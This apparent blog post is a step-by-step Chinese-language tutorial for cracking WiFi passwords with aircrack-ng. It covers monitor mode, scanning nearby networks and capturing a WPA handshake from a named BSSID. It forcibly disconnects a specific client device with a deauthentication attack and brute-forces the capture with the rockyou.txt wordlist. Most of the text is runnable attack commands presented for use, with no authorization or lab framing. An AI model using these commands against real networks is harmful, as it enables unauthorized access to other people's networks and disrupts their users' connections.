博客地址
Github
安装aircrack-ng
# 安装依赖
1. apt-get -y install libssl-dev libnl-3-dev libnl-genl-3-dev ethtool
# 安装
2. apt-get install aircrack-ng
破解wifi
1. 查看网卡信息
iwconfig
# 找到支持monitor的网卡,本实例中为wlan1
2. 开启监听模式(monitor)
airmon-ng start wlan1
3. 查看附近的wifi
airodump-ng wlan1mon
4. 找到一个wifi,监听
airodump-ng wlan1mon --bssid 88:BF:E4:B0:C0:B7 -c 5 -w wificrack
--bssid 为wifi SSID
-c 为通道
-w 为保存的文件名
5. 等待设备四次握手,或者选中一个设备,强行断线,并获取四次握手信息
# 强行断线命令
# 新开一个Terminal窗口:[参数:攻击2次,路由ssid和设备Mac地址]
aireplay-ng -0 2 -a 88:BF:E4:B0:C0:B7 -c 54:DC:1D:27:0D:50 wlan1mon
-a 为wifi ssid
-c 为设备地址
6. 拿到握手信息后,可以中止监听,再当前目录下,可以找到wificrack-01.cap文件
7. 对wificrack-01.cap文件进行爆破
rockyou.txt 为字典文件
下载地址 wget http://scrapmaker.com/data/wordlists/dictionaries/rockyou.txt
# 爆破命令
aircrack-ng -w dictory/rockyou.txt wificrack-01.cap
总结:此方法为一个引导,属下下策,因为跑字典要跑很久很久。。。还不一定有结果。。。推荐用 Hashcat跑Wifi密码,点击查看Hashcat使用方法
参考文章 :
- https://blog.csdn.net/kxwinxp/article/details/79187472